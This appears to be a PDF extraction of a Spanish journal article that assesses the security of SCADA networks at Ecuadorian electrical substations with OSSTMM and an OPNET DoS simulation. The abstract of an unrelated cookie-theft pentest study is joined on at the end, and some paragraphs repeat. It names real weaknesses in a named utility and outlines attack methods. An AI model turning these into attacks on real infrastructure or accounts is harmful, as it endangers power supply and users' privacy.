sistemas y del entorno en que funcionan (Ferreira Alves, 2018);
asi como la organizacion de politicas para la preservacion y el uso
correcto de los datos, procurando resguardar la confidencialidad,
integridad y disponibilidad de estos (Garcia Pierrat y Vidal Ledo,
2016).

Adicionalmente, hay que mencionar que la seguridad informatica
tiene varios enfoques; entre estas la seguridad de red, que puede
entenderse como aquellas medidas que buscan proteger a una
red informatica de intrusos; ya sean estos atacantes dirigidos o
malwares oportunistas (Gamboa Suarez, 2020).

La ausencia o falencias de estas estrategias y mecanismo de
seguridad informaética conllevan a graves consecuencias; mas
aun en el sector eléctrico ya que de este depende el resto de
los servicios vitales de un pais, tal y como lo sostiene Calzada
Hinojosa (2021). Algo similar menciona Carrefio Pérez (2019), el
cual sostiene que el sistema eléctrico es una parte indispensable
de un pais y por tanto debe ser una prioridad ya que de este
depende toda la infraestructura nacional.

De ahi que dado el uso de sistemas informaticos en
infraestructura critica es necesario contar con sistemas
actualizados periddicamente y tener en consideracion aquellas
vulnerabilidades y amenazas que puede afectar a la organizacion
(Rosas et al., 2020); asi como realizar revisiones periddicas de
las vulnerabilidades para tener un registro (Gonzalez Tandazo,
2016).

En este sentido, en la literatura existen diversas metodologias
para la evaluacion de la seguridad ademas de diferentes
trabajos que realizan comparativas entre éstas; como el trabajo
realiza por Gordéon Revelo (2017), en donde compara las
metodologias: Solicitud del Proyecto de Seguridad Open Web
(OWASP), National Institute of Standards and Technology
Special Publication 800-115 (NIST SP 800-115), la cual es
la Guia técnica de pruebas y evaluacion de la seguridad de la
informacion; y Manual de Metodologia de Pruebas de Seguridad
de Codigo Abierto (OSSTMM).

En esta comparativa, Gordon Revelo (2017) concluye que la
OSSTMM tiene un enfoque de andlisis mas completo de la
seguridad actuando en los ambitos humano, fisico, de medios
inalambricos, telecomunicaciones y de redes de datos. Ademas,
sostiene que la metodologia OSSTMM tiene un valor agregado al
poseer una métrica cuantitativa que permite cuantificar de manera
global el estado actual de la seguridad operacional como lo es los
Valores de Evaluacion de Riesgos (RAV). Lo mencionado por
Gordén Revelo (2017) es compartido por Medina Becerra et al.
(2019), los cuales afiaden que esta metodologia cubre todos los
escenarios donde se pueden presentar vulnerabilidades y ademas
sugiere el uso de la metodologia OSSTMM para la evaluacion de
la seguridad en los sistemas SCADA.
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Con respecto a la metodologia OSSTMM es un estandar de
seguridad profesional que proporciona un marco detallado que
permite realizar evaluaciones de seguridad a sistemas, la cual fue
creada en el 2001 por Pet Herzog en conjunto con mas de 150
colaboradores (ISECOM, 2010). Esta metodologia considera
si existe o no una separacion de algun tipo entre la amenaza
y el activo, pudiendo ser ésta una barrera fisica o logica, la
transformacion de la amenaza en algo inofensivo o la destruccion
de la amenaza (ISECOM, 2010).

De esta manera la metodologia OSSTMM, considera los controles
de dos tipos. Por un lado, estan los controles de clase A, en lo
que se incluyen todos aquellos controles interactivos; mientras
que en los controles de clase B, estan aquellos controles que se
relacionan con la defensa de los procesos (ISECOM, 2010). El
estado de seguridad que tiene las operaciones queda determinado
por el RAV, el cual indica cuan grande es la superficie de un
posible ataque, siendo un valor de 100 un perfecto equilibrio
entre las operaciones, las limitaciones y los controles (ISECOM,
2010).

Ademds, es necesario mencionar que la aplicacion de la
metodologia OSSTMM consiste en la realizacion de una auditoria
que involucra en primer lugar la recopilacion de informacion
y datos; como la recopilacion de informacion sobre sistemas,
redes y aplicaciones, la revision de politicas y procedimientos de
seguridad y la identificacion de los activos criticos que necesitan
proteccion (ISECOM, 2010).

En segundo lugar, se debe realizar un andlisis de amenazas en
donde se identifican las amenazas potenciales sobre estos activos
y la determinacion de la probabilidad de que se produzcan; para
posteriormente realizar una evaluacion de vulnerabilidades en
donde identifican las vulnerabilidades del sistema que pueden
ser explotadas por un atacante; lo que incluye pruebas de
penetracion y evaluaciones de vulnerabilidades de sistemas,
redes y aplicaciones (ISECOM, 2010).

Después, se realiza un analisis del impacto que tendria un ataque
exitoso a unos de los activos expuestos; por lo que se realiza la
evaluacion de los activos criticos, los procesos empresariales y
los datos que podrian verse afectados. Enseguida se realiza un
andlisis de proteccion el cual se enfoca en evaluar la efectividad
de los controles de seguridad implementados; e incluye la revision
de politicas y procedimientos de seguridad, la evaluacion de la
implementacion de los controles de seguridad y la determinacion
de la efectividad de los controles (ISECOM, 2010).

Finalmente, la auditoria involucra un andlisis de verificacion
en donde se incluye la evaluacion de los registros y registros
de auditoria para determinar si se han producido violaciones de
seguridad y la identificacion de oportunidades de mejora en los
controles de seguridad (ISECOM, 2010).

Ademas de estas metodologias, para las evaluaciones de
seguridad también se suelen utilizar sistemas de simulacion sobre
todo para la deteccion de anomalias dentro del funcionamiento
de una red (Garcia Alfaro et al., 2014). De ahi que existan trabajo
como el de Rahman et al. (2009), los cuales realizan una revision

de distintas herramientas de simulacién y modelados de redes
(ver Tabla 2), entre éstas OPNET; de la cual concluye que ofrece
una gran cantidad de variantes acerca de redes objetivos.

Del mismo modo, Njova (2021) menciona que en su trabajo
sobre la evaluacion del protocolo Distributed Network Protocol
version 3 (DNP3) sobre subestaciones de unidades operativas del
este de Sudafrica en serie para la mejora del rendimiento de los
sistemas SCADA, OPNET fue una herramienta valiosa para la
simulacion de dispositivos de red y monitoreo de su rendimiento
sin necesidad construir una red real con los costos que esto
involucraria.

comparativos sobre el impacto de las posibles vulnerabilidades
detectadas en las redes mediante el uso de herramientas de
simulacion, para finalmente validar los resultados alcanzados
sobre el estado de la seguridad de las redes internas del area de
los sistemas SCADA.

2. Materiales y Métodos

Este trabajo se concibid como experimental (Hernandez Sampieri
et al., 2014) dada la manipulacion de las variables mediante la
aplicacion de una metodologia de evaluacion del riesgo de la
seguridad en las redes internas del area de los sistemas SCADA
de CNEL EP, Unidad de Negocio Manabi, y modelado de
escenarios en herramientas de simulacion para determinar el
impacto de una posible explotacion de vulnerabilidades en la
infraestructura eléctrica.

Por otro lado, la connotacion del estudio requirid6 que una
investigacion de tipo mixta (Hernandez Sampieri et al., 2014),
dado que se combina tanto métodos cuantitativos como
cualitativos; asi como de naturaleza exploratoria, ya que permite
examinar ¢ investigar a fondo un problema con el objetivo
de hacer un diagnodstico (Hernandez Sampieri et al., 2014) ;
descriptiva, ya que los datos obtenidos de fuentes oficiales o
documentales permiten identificar la realidad del problema en
analisis (Albareda Herrera, 2011); correlacional, ya que se miden
las relaciones entre las variables en estudio (Curbelo Martinez et
al., 2016) ; explicativa, ya que se busca encontrar las razones por
las cuales la seguridad de las redes pueden estar siendo afectadas
(Mejia Jervis, 2020), y documental, ya que se lleva a cabo una
revision de libros, articulos y otros documentos relacionados con
el estudio (Gonzales, 2020).

En cuanto a la metodologia de evaluacion de la seguridad a
aplicar, esta fue seleccionada a partir de la comparacion realizada
entre las metodologias OSSTMM, NIST 800-115 y OWASP por
Gordon Revelo (2017), tomando como criterios el Factor digital,
Factor fisico, Factor social, las Métricas, los Informes y la Guia
técnica (ver Tabla 2).

A partir del trabajo por Gordéon Revelo (2017), se puede
evidenciar que de las metodologias comparadas, la OSSTMM
tiene un enfoque mas integral y completo sobre la seguridad,
lo cual es compartido por autores como Medina Becerra et al.
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Tabla 1: Comparativa de herramientas de simulaciéon y modelados de redes.
Fuente: Garcia Alfaro et al. (2014), Rahman et al. (2009) y Njova (2021)

Simuladores
Caracteristicas .
OPNET/Riverbed NS-2 NetSim MaRs NS-3 Omnet++
Modeler
Tipo de Discreta y Discreta Discreta Discreta y Discreta Discreta y
simulacion continua continua continua
Interfaz grafica  Si No Si Si No Si
de usuario
(GUD)
Soporte de Amplio soporte, Soporte Soporte Soporte Amplio Amplio
protocolos de incluyendo TCP, limitado, limitado, limitado, soporte, soporte,
red UDP, IPv4, IPv6, incluyendo incluyendo incluyendo incluyendo incluyendo
OSPF, BGP, TCP, UDP, TCP, UDP, TCP, UDP, TCP, UDP, TCP, UDP,
MPLS, RSVP, etc. IPv4, etc. IPv4, etc. IPv4, etc. IPv4, IPv6, IPv4, IPv6,
etc. etc.
Modelado de Amplio soporte. Soporte Amplio Soporte Amplio Amplio
dispositivos de limitado soporte. limitado. soporte. soporte
red
Modelado de Amplio soporte. Soporte Soporte Soporte Amplio Amplio
trafico limitado. limitado. limitado. soporte. soporte.
Escalabilidad Alta Media Alta Media Alta Alta
Licencia Requiere Gratuita Requiere Gratuita Gratuita Gratuita
Licencia/Tiene Licencia

version de prueba

(2019), quienes ademés recomiendan esta metodologia para
la evaluacién de los sistemas SCADA. En virtud de estas
caracteristicas se aplico la metodologia OSSTMM para la
evaluacion de la seguridad en las redes internas del area de los
sistemas SCADA de CNEL EP, Unidad de Negocios Manabi.

Del mismo modo, como herramienta de simulacion se selecciono
OPNET, a partir de los criterios de autores como Rahman et al.
(2009), Ashraf et al. (2021) o Njova (2021); quienes exponen el
amplio abanico de redes que la herramienta puede simular, asi
como las ventajas que ofrece OPNET al simular redes complejas.
Adicionalmente se hizo uso de técnicas e instrumentos como
entrevistas y fichas de observacion a la maxima autoridad y al
jefe del departamento de informatica de la Unidad de Negocios.
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En lo que respecta a la poblacion de estudio esta corresponde a
las redes internas del area de los sistemas SCADA de CNEL EP,
Unidad de Negocios Manabi, la misma que esta integrada por un
total de 30 subestaciones distribuidas en ubicaciones estratégicas
a través de toda la provincia teniendo una capacidad de 505/625
Megavoltamperio (MVA) de potencia.

De todas ellas, se seleccionaron un total de 13 subestaciones;
de acuerdo con la informacion proporcionada por la Unidad
de Negocios de Manabi sobre aquellas subestaciones que
soportan mayor carga operativa. De ahi que las subestaciones
seleccionadas distribuyen cerca del 65% de la energia de la
provincia de Manabi, encontrandose ubicadas dentro de los
cantones Portoviejo, Manta, Rocafuerte, Montecristi y Jaramijo.
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Tabla 2:Analisis comparativos de las metodologias de
seguridad informatica.
Fuente: Obtenido de (Gordon Revelo, 2017).

Metodologias

FACTORES

0SSTMM NIST 800- OWASP
i X X X
Factor Fisico X
Factor Social X X
Meétricas X
Informes X X
Guia Técnica X

Para el procesamiento de datos se utilizo se us6 la plataforma de
Google Colab junto con el lenguaje de programacion Python en
su version 3.9.16, asi como sus librerias NumPy, Pandas y SciPy,
en sus versiones 1.22.4, 1.4.4, 1.10.1 respectivamente para
aplicar métodos estadisticos para la validacion de los resultados
obtenidos.

Es asi como el presente trabajo se realizd en cuatro fases;
enfocandose la primera de ellas en la busqueda y revision del
estado del arte sobre la a evaluacion de la seguridad en los
sistemas SCADA, en especial en su aplicacién en el sector
eléctrico; ademas del analisis de los estandares de seguridad
informatica y la seleccion de la metodologia y el simulador para
evaluar la seguridad de las redes internas el 4rea de los sistemas
SCADA.

Por otro lado, en la segunda fase se aplicé la metodologia
seleccionada en 13 subestaciones eléctricas con el objetivo de
evaluar la seguridad; realizando también visitas in situ en cada
una de las subestaciones identificando de esta manera activos
de valor y aquellos mecanismos establecidos para la defensa
de éstos ante posibles amenazas, tales como areas restringidas
y mecanismos de acceso y autenticacion a esas areas. Por otra
parte se realizo la revision de documentacion sobre los sistemas,
las politicas de seguridad implementadas, auditorias realizadas,
y demas documentacion que permitid conocer los procesos que
se desempefian en las instalaciones; asi como el escaneo de la
redes y equipos informaticos mediante herramientas de auditoria
informatica para identificar posibles vulnerabilidades.

Finalmente, los resultados obtenidos sobre el estado de la
seguridad se registraron y tabularon en una matriz de Excel
(ver Figura 1), que muestra de manera cuantitativa el estado de
seguridad y la cantidad de vulnerabilidades encontradas en las
redes internas del area de los sistemas SCADA.

Del mismo modo, en la tercera fase de la investigacion, se
identifico la vulnerabilidad mas critica identificada en los
sistemas SCADA, basandose en los resultados obtenidos en
la segunda fase, y se construyeron de forma simplificada dos
escenarios simulados en donde se representaron los servicios
de red mas utilizados en el area de los sistemas SCADA para
evaluar la repercusion que podria tener si se explotara esta

Figura 1: Matriz Excel para determinar el estado de la
seguridad proporcionada por la Metodologia OSSTMM

vulnerabilidad. El primer escenario imit6 las condiciones actuales
con la vulnerabilidad presente y el segundo escenario mostro
el funcionamiento de la red al explotar la vulnerabilidad. Para
esto en OPNET se simuld el tiempo de respuesta de solicitudes
Web (protocolo HTTP) desde las subestaciones hacia al servidor
central del area de los sistemas SCADA mediante una conexion a
internet, dado que los servicios webs mediante el protocolo HTTP
es el mas usado para compartir datos entre los sistemas SCADA
del area. Adicionalmente, se anadid en el segundo escenario un
equipo para simular un atacante que envia peticiones Ping con un
paquete de 65527 bytes, en intervalos de un segundo de manera
constante hacia el servidor (ver Figura 2), esto como una manera
efectiva de simular un ataque DoS intenso, saturar el ancho de
banda de la red y sobrecargar los recursos del sistema objetivo
dentro de un entorno de simulacion simplificado; dado que un
solo paquete de este tamafio, equivaldria a que 1024 computadora
realicen solicitudes ping hacia el servidor con un tamafio de
paquete predeterminado (aproximadamente 64 bytes). De esta
manera, los tiempos de respuesta del servicio simulado fueron
medidos mediante los mecanismos ofrecidos por la herramienta
de simulacion seleccionada para luego ser analizados.
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Figura 2: Detalle de la configuracion de las solicitudes Ping
en la herramienta OPNET.

Finalmente, en la ultima etapa se evaluaron los resultados
obtenidos en las simulaciones, lo que permitié determinar
la validez de la hipétesis planteada; utilizando la prueba de
normalidad de Shapiro-Wilk y la prueba de Wilcoxon lo que
permitié la comparacién de las dos muestras experimentales
relacionadas (Wilcoxon, 1945) y de esta manera llegar a las
conclusiones.

3. Resultados y Discusion

Luego de la aplicacion de la metodologia de evaluacion
OSSTMM en las 13 subestaciones eléctricas objeto del estudio
se lograron identificar como activos criticos los servidores de
control SCADA, bases de datos de informacion de infraestructura
eléctrica, nodos de red de alta prioridad, sensores y equipos de
control en subestaciones eléctricas. Por otro lado, al revisar las
politicas y procedimientos de seguridad, se encontrdé que se
necesitaban mejoras significativas en la gestion de contraseiias,
la autenticacion de usuarios y la monitorizacion de eventos en
tiempo real.

Del mismo modo, se identificaron como amenazas los ataques de
denegacion de servicio (DoS) debido a la posibilidad de acceso
no autorizado al servidor de control SCADA desde fuera de la
red corporativa, malware, ingenieria social y la explotacion de
vulnerabilidades en sistemas SCADA; llegando a determinar
que existe un alto riesgos de explotacion debido a la falta de
controles de seguridad efectivos en algunas de las subestaciones
evaluadas. Asi también al realizar pruebas de penetracion en
las aplicaciones, se identificaron vulnerabilidades de inyeccion
de Lenguaje de Consulta Estructurada (SQL) y falta de cifrado
en la transmision de datos en algunas aplicaciones utilizadas al
interior de las instalaciones.

Por otra parte, mediante el andlisis del impacto de un ataque exitoso
a los activos criticos identificados anteriormente, se determind
que el impacto seria significativo en términos de interrupcion del
suministro eléctrico y posible dafio a la infraestructura; ademas
se encontrd, mediante una evaluacion de la implementacion de
los controles de seguridad, que no se habian efectuado controles
adecuados para mitigar las vulnerabilidades identificadas.
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Asi mimo, se evalud la efectividad de los controles de seguridad
y se determind que los controles existentes eran insuficientes
para mitigar los riesgos identificados. También, mediante la
evaluacion de los registros y registros de auditoria, en donde
se evaluaron los registros de auditorias, se encontraron varias
anomalias de seguridad, incluyendo accesos no autorizados y
eventos sospechosos en los registros de actividad del sistema.

DeahiquealcalcularlamétricaRAV, seobtuvo enlassubestaciones
del caton Portoviejo un valor RAV promedio de 91.3905 puntos.
En este canton se evalud a un total de cinco subestaciones (ver
Tabla 3); en donde la subestacion PORTOVIEJO 1 obtuvo un
RAV de 91.3563 puntos, la subestacion PORTOVIEJO 2 un RAV
DE 93.7277 puntos, la subestacion PORTOVIEJO 3 obtuvo un
RAV de 90.6195, la subestacion PORTOVIEJO 4 un valor RAV
de 92.0465 y la subestacion CRUCITA un valor RAV de 89.8636
puntos.

Tabla 3: Resultados auditoria OSSTMM Portoviejo.

Fuente: Investigador.

PORTOVIEJO
SUBESTACION RAV

PORTOVIEJO 1 91,3563
PORTOVIEJO 2 93,7227
PORTOVIEJO 3 90,6195
PORTOVIEJO 4 92,0465
CRUCITA 89,8636

Con respecto al canton Montecristi, se evaluaron un total de
dos subestaciones (ver Tabla 5). En el caso de la subestacion
MONTECRISTI 1 el valor RAV obtenido es de 92.6508 puntos,
mientras que en la subestacion MONTECRISTI 2 se obtuvo
90.5323 puntos RAV. En el caso del canton Montecristi el valor
RAV promedio obtenido por las subestaciones es de 91.5915
puntos.

Tabla 4: Resultados auditoria OSSTMM Manta.

Fuente: Investigador.

MANTA
SUBESTACION RAV
MANTA 1 94,6910
MANTA 2 92,9107
MANTA 3 91,3060
MANTA 4 89,4675
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Con respecto al canton Montecristi, se evaluaron un total de
dos subestaciones (ver Tabla 5). En el caso de la subestacion
MONTECRISTI 1 el valor RAV obtenido es de 92.6508 puntos,
mientras que en la subestacion MONTECRISTI 2 se obtuvo
90.5323 puntos RAV. En el caso del canton Montecristi el valor
RAV promedio obtenido por las subestaciones es de 91.5915
puntos.

Tabla 5: Resultados auditoria OSSTMM Montecristi.

Fuente: Investigador.

MONTECRISTI
SUBESTACION RAV
MONTECRISTI 1 92,6508
MONTECRISTI 2 90,5323

En el caso del canton Rocafuerte, se evalué la subestacion
ROCAFUERTE obteniendo un valor RAV de 92,4415 puntos
(ver Tabla 6). De igual manera, se evalu6 la subestacion
JARAMIJO ubicado en el canton del mismo nombre en donde
se obtuvo como resultado un valor de 90.7615 puntos RAV (ver
Tabla 7).

Tabla 6: Resultados auditoria OSSTMM Rocafuerte.

Fuente: Investigador

ROCAFUERTE
SUBESTACION RAV

ROCAFUERTE 92,4415

Tabla 7: Resultados auditoria OSSTMM Jaramijo.

Fuente: Investigador.

JARAMIJO
SUBESTACION RAV

JARAMIJO 90,7615

Si bien los valores RAV obtenidos en las subestaciones evaluadas
son cercanos a 100; de hecho, el valor medio de RAV de las
subestaciones evaluadas es del 91.5217 puntos, lo que puede ser
considerada como una seguridad alta; estos resultados reflejan
la existencia de interacciones no controladas en las operaciones
mencionadas en los parrafos anteriores. De ahi que de todas estas
limitaciones y vulnerabilidades detectadas, se considerd para
realizar los escenarios simulados la posibilidad de acceso no
autorizado al servidor de control SCADA desde fuera de la red
corporativa; debido a que la vulnerabilidad puede ser explotada
de forma remota, tiene un alto riesgo de afectacion (Loukas y
Oke, 2010) del area de los sistemas SCADA vy, ademas, esta
vulnerabilidad es constante en todas las subestaciones evaluadas.

A partir de esto se consider6 la simulaciéon de un Ataque de
Denegacion de Servicio (DoS, por sus siglas en inglés) en la

herramienta OPNET aprovechando la vulnerabilidad detectada,
bajo los pardmetros expresados en la Tabla 8, y con base a lo
mencionado por Loukas y Oke (2010) , quien ademas menciona
que los ataques DoS “son faciles de lanzar, mientras que defender
un recurso de red contra ellos es desproporcionadamente dificil”.

Tabla 8: Parametros de simulacion utilizados en los
escenarios.

Fuente: Investigador.

PARAMETRO VALOR
Protocolo de enrutamiento RIP (Routing Information Protocol)

Protocolo de transporte TCP (Transmission Control Protocol)

Carga de trafico HTTP, FTP, BD
Tamafio de paquete 1500 bytes
Latencia 10 ms

Ancho de banda 10 Mbps
Pérdida de paquetes 0%

Tiempo de simulacion 5 horas

De esta manera se establecid dos escenarios de simulacion;
en donde el primer escenario (ver Figura 3), considerado el de
referencia, mostro el funcionamiento actual de las subestaciones
evaluadas al conectarse con el servidor central del area de
los sistemas SCADA mediante la internet; mientras que en el
segundo escenario (ver Figura 4) simulo la explotacion de la
vulnerabilidad mediante un ataque DoS desde un equipo remoto
en la internet.

Figura 3: Experimento de simulacion 1 (Escenario base).

En cada uno de estos escenarios existieron tres equipos
informaticos (modelo ethernet wkstn) que simularon servicios
de base de datos (DB), transferencias de archivos (protocolo
FTP) y servidor web (protocolo HTTP) con el objetivo de
establecer condiciones de funcionamiento similares a la realidad
relacionados con el congestionamiento de la red; ademas de
un equipo adicional que funcioné como servidor (modelo
ethernet_server). Estos equipos accedieron a la internet mediante
dos router (modelo CS 3640 4s e5 fel trl sl6), el cuales
funcionaron como puerta de enlace.
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Figura 4: Experimento de simulacion 2 (Escenario de
explotacion de la vulnerabilidad).

Cabe sefialar también que para la simulacion del ataque DoS,
se anadié un equipo (modelo ethernet_wkstn) que funcion6 de
atacante enviando solicitudes Ping (ver Figural) con un paquete
de 65527 bytes mediante la Internet, en intervalos de un segundo
de manera constante hacia el servidor y, que ademas para realizar
la comparativa de los diferentes resultados se utilizé la métrica
de Page Response Time (PRT), cuya unidad de medida es en
segundos (s) y ademas viene incluida en el OPNET.

Figura 5: Valores PRT para el servicio HTTP durante la
simulacion del primer escenario.

De esta manera, en la simulacion del primer escenario (ver Figura
3), se obtiene como resultado que el PRT (ver Figura 5) muestra
un comportamiento estable; ya que durante las 5 horas que fue el
tiempo de simulacion, la métrica se mantuvo cercana al valor de
2.2 segundos; aunque cabe sefialar que en un primer momento se
obtuvo un valor inicial de 2 segundos y durante los primeros 20
minutos hubo un pico maximo en la métrica con un valor muy
cercano a los 2.6 segundos de PRT.

Mientras que para el segundo escenario (ver Figura 4) se obtuvo
como resultados (ver Figura 6) un valor inicial para el PRT de
4.5 segundos, lo que representa una demora de 2,5 segundos
con respecto al valor inicial obtenido en el primer escenario.
Del mismo modo en la Figura 6 se puede observar a medida que
pasa el tiempo de la simulacion, los resultados obtenidos en el
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valor del PRT disminuye hasta alcanzar un valor cercano a 3.5
segundos cerca de las dos horas de simulacion. Este valor se
mantiene estable hasta las cuatro horas y cuarenta minutos de
simulacion, tiempo después del cual no se observa ningtn tipo de
datos, lo que indica que el ataque DoS provoco una sobrecarga en
el servidor que lo llevé a dejar de responder después de un cierto
periodo de tiempo, lo que explicaria por qué no se recibieron
datos durante todo el tiempo de simulacion.

Esto resultados dan a entender que en una hipotética explotacion
de la vulnerabilidad de conexién a servicio remotos desde fuera
de la red corporativa mediante un ataque DoS, la afectacion seria
significativa; tal y como también lo establecen los resultados
de la auditoria OSSTMM, a tal punto que puede dejar fuera de
operacion los sistemas del area de los sistemas SCADA de CNEL
EP, Unidad de Negocio Manabi.

Finalmente con los resultados de la simulacion obtenidos se
aplicaron dos pruebas estadisticas. Por un lado se aplico la
prueba de Shapiro-Wilk, la cual permitié conocer que los datos
obtenidos no tenian una distribucion normal; determinando
de esta manera el uso de la prueba de Wilcoxon, una prueba
estadistica no paramétrica, para la validacion de la hipodtesis
planteada en este estudio.

De ahi que la prueba de Wilcoxon determind que existen
evidencias suficientes para establecer que la aplicacion de una
metodologia de evaluacion del riesgo en seguridad informaticas
y simuladores de red permitio conocer el estado de la seguridad
y el impacto de las vulnerabilidades en las redes internas en el
area de los sistemas SCADA de CNEL EP, Unidad de Negocios
Manabi, dado que en la prueba mencionada se obtuvo un valor
P de 0.0003, de modo que se rechazo la hipotesis nula; con un
nivel de confianza del 95% y un nivel de significancia del 5%, al
ser el valor de P < 0.05.

Figura 6: Valores PRT para el servicio HTTP durante la
simulacion del segundo escenario.

4. Conclusiones

En los ultimos afios ha habido un aumento significativo en los
ciberataques, lo que ha generado desconfianza en los usuarios
y ha provocado pérdidas econémicas en instituciones publicas
y privadas. En particular, Ecuador se encuentra entre los paises
con mayor cantidad de incidencias en temas de ciberseguridad,

e-ISNN 2550-6730

Vol. 7, Nim. 1 (24-33): Enero-Junio, 2023

DOI: 10.33936/isrtic.v7i1.5588


https://creativecommons.org/licenses/by-nc-nd/4.0/
https://creativecommons.org/licenses/by-nc-nd/4.0/
https://revistas.utm.edu.ec/index.php/Informaticaysistemas/index
https://doi.org/10.33936/isrtic.v7i1.5558
https://doi.org/10.33936/isrtic.v7i1.5791
mailto:revista.iys%40utm.edu.ec?subject=

Marcillo Vera F,, Andrade Acosta, N., Vaca Escobar, P. & Viteri Alcivar, Y.

Measuring the usability of the Pydroid 3 ® app using SUS method

lo que subraya la importancia de abordar esta problematica en
el sector eléctrico. Dado el papel crucial del sector eléctrico en
el desarrollo del pais, es esencial contar con sistemas SCADA
para el control y monitoreo de la infraestructura eléctrica. Sin
embargo, es necesario implementar estrategias y métodos que
protejan la confidencialidad, integridad y disponibilidad de los
datos, asi como politicas para la revision periodica de la seguridad
interna mediante la aplicacion de metodologias de evaluacion de
la seguridad como la OSSTMM.

La metodologia OSSTMM se enfoca en una evaluacion integral
de la seguridad de los sistemas y las comunicaciones, lo que
permiti6 establecer que el area de los sistemas SCADA evaluada
tiene una seguridad del 91.72% en su superficie de ataque
potencial. También se identificaron algunas limitaciones comunes
existentes en las subestaciones pertenecientes al area evaluada
al aplicar la auditoria OSSTMM. La explotacion de alguna
vulnerabilidad dentro del area SCADA de CNEL EP, Unidad
de Negocios Manabi, podria afectar de manera significativa el
funcionamiento de la infraestructura eléctrica, llegando incluso
a la interrupcion total de los servicios, como en el caso de la
posibilidad de acceso no autorizado al servidor de control
SCADA desde fuera de la red corporativa. Ademas, se encontrd
que la aplicacién de una metodologia de evaluacion del riesgo
en seguridad informatica y simuladores de red permitié conocer
el estado de la seguridad y el impacto de las vulnerabilidades en
las redes internas en el area SCADA de CNEL EP, Unidad de
Negocios Manabi, con un nivel de significacion del 5%.

Por otor lado, durante el desarrollo de este trabajo se encontraron
limitaciones para acceder a informacion sobre el area de
los sistemas SCADA de la Unidad de Negocios Manabi, ya
que el sector eléctrico en Ecuador se considera como sector
estratégico y, por lo tanto, parte de esta informacion es reservada
o confidencial. Ademas, cabe destacar que el objetivo principal
de este estudio fue evaluar la seguridad de las redes internas
en el area de los sistemas SCADA de CNEL EP, Unidad de
Negocios Manabi, para determinar su estado actual. Por tanto, el
desarrollo de soluciones y medidas correctivas, como en el caso
de un ataque DoS, va mas allé del alcance de este estudio. Seria
necesario llevar a cabo una investigacion mas detallada para
identificar y evaluar soluciones adecuadas, dada la connotacion
estratégica que tiene el sector eléctrico en Ecuador. Es importante
destacar que, aunque se utilizé una simulacion de red en este
trabajo, se reconoce que la configuracion de red real en el area
de los sistemas SCADA de CNEL EP, Unidad de Negocios
Manabi, es significativamente mas grande y compleja de lo que
se puede simular con los recursos disponibles. Por lo tanto, se
deben considerar disefiar estrategias de proteccion y medidas
correctivas con precaucion.

Ademas, el presente trabajo permite explorar diversas lineas de
investigacion futura. En primer lugar, es recomendable realizar
un analisis mas detallado de las vulnerabilidades especificas
de la infraestructura eléctrica y aplicar técnicas de proteccion
adecuadas para garantizar la seguridad de los sistemas SCADA.
Ademas, es importante investigar mas a fondo los ataques
cibernéticos recientes en el sector eléctrico, su impacto y las
medidas de proteccion implementadas para evitar futuros

incidentes.

Por otro lado, seria 1til evaluar las metodologias de evaluacion
de seguridad actuales utilizadas en el sector eléctrico y proponer
nuevas metodologias mas efectivas y eficientes. Esto podria
incluir la comparacion de las metodologias actuales con los
marcos de seguridad internacionales y la recomendacion de
mejores practicas.

Asimismo, seria beneficioso desarrollar técnicas de deteccion
de ataques cibernéticos en tiempo real en el sector eléctrico y
su aplicacion en los sistemas SCADA. Esto podria incluir la
implementacion de sistemas de monitoreo y alerta temprana
para detectar posibles amenazas a la infraestructura eléctrica y
permitir una respuesta rapida y efectiva.

Finalmente, se debe investigar sobre los desafios de seguridad y
privacidad que surgen con la adopcion de tecnologias emergentes
en el sector eléctrico, como la Internet de las cosas (IoT) y el
procesamiento en la nube, y las medidas que deben tomarse para
proteger la infraestructura eléctrica. En este sentido, es necesario
evaluar los riesgos asociados con la adopcion de estas tecnologias
y proponer medidas de proteccion adecuadas.
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Streaming
Resumen

El objetivo de esta investigacion fue analizar la vulnerabilidad de los ataques
relacionados con el Id de sesion y el uso de cookies en ataques Cross Site
Request Forgery (CSRF) simulando un ciberataque real en un entorno
controlado. La metodologia empleada fue Pentesting con OWASP, se divide
en cuatro fases: Reconocimiento, se enfoco en el analisis de Redes Sociales
y plataformas de Streaming con el propdsito de recaudar informacion que
pueda ser utilizada para obtener acceso no autorizado al sistema o aplicacion.
Analisis de vulnerabilidades, se encarg6 de seleccionar las herramientas para
explotar las vulnerabilidades identificadas. Explotacion, consistié en realizar
acciones para comprometer el sistema auditado utilizando herramientas
automatizadas simulando un Rubber Ducky con el Arduino Raspberry Pi
Pico. Post explotacion, se enfocd en realizar pruebas para comprobar la
informacién que se puede obtener al explotar las debilidades identificadas.
Los resultados que se obtuvieron en base de las cookies, Facebook es la red
social mas vulnerable y expone la mayor cantidad de datos a los atacantes.
Twitter detecta y bloquea la actividad sospechosa, mientras que LinkedIn y
Reddit son las mas seguras, no se pudo acceder a las cuentas utilizando las
cookies extraidas. Por otro lado, YouTube es la plataforma de Streaming que
brinda mas informacién a los atacantes, mientras que Netflix es una de las
mas vulnerables debido a la gran cantidad de cookies encontradas.

Palabras clave: Robo de Sesion; Redes Sociales; Plataformas de Streaming;
Rubber Ducky.

Abstract

The research analyzes the vulnerability of attacks related to the session ID and
the use of cookies in Cross Site Request Forgery (CSRF) attacks simulating
a real cyber attack in a controlled environment. The methodology used was
Pentesting with OWASP, which is divided into four phases: Recognition,
which focuses on the analysis of social networks and Streaming platforms
to obtain information that can be used to obtain unauthorized access to
the system or application. Vulnerability analysis, which is responsible for
selecting the tools to exploit the vulnerabilities identified in the previous
phase. Exploitation, which consists of taking actions to compromise the
audited system using automated tools simulating a Rubber Ducky with the
Arduino Raspberry Pi Pico. Post exploitation focuses on testing to verify the
information that can be obtained by exploiting the identified weaknesses.
As a result, Facebook is the most vulnerable social network and exposes
the largest amount of data to attackers. On the other hand, YouTube is the
Streaming platform that provides the most information to attackers, while
Netflix is one of the most vulnerable due to the large number of cookies
found. Twitter is considered one of the safest social networks as it detects
and blocks suspicious activity, while LinkedIn and Reddit are the safest as
accounts could not be accessed using the extracted cookies.

Keywords: Session Theft; Social networks; Streaming Platforms; Rubber
Ducky.
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1. Introduccion

En un mundo cada vez mas digital, los ciberataques y los fraudes
en linea son cada vez mas comunes, y pueden tener graves
consecuencias econémicas y reputacionales. En consecuencia,
es importante que tanto los individuos como las organizaciones
adopten medidas de seguridad informatica adecuadas, como el
uso de software de seguridad y la educacion de los usuarios, para
protegerse de posibles amenazas cibernéticas. Vega (2021) define
a la seguridad informatica como un concepto, que cada vez se
involucra mas en la sociedad hiperconectada, debido a la gran
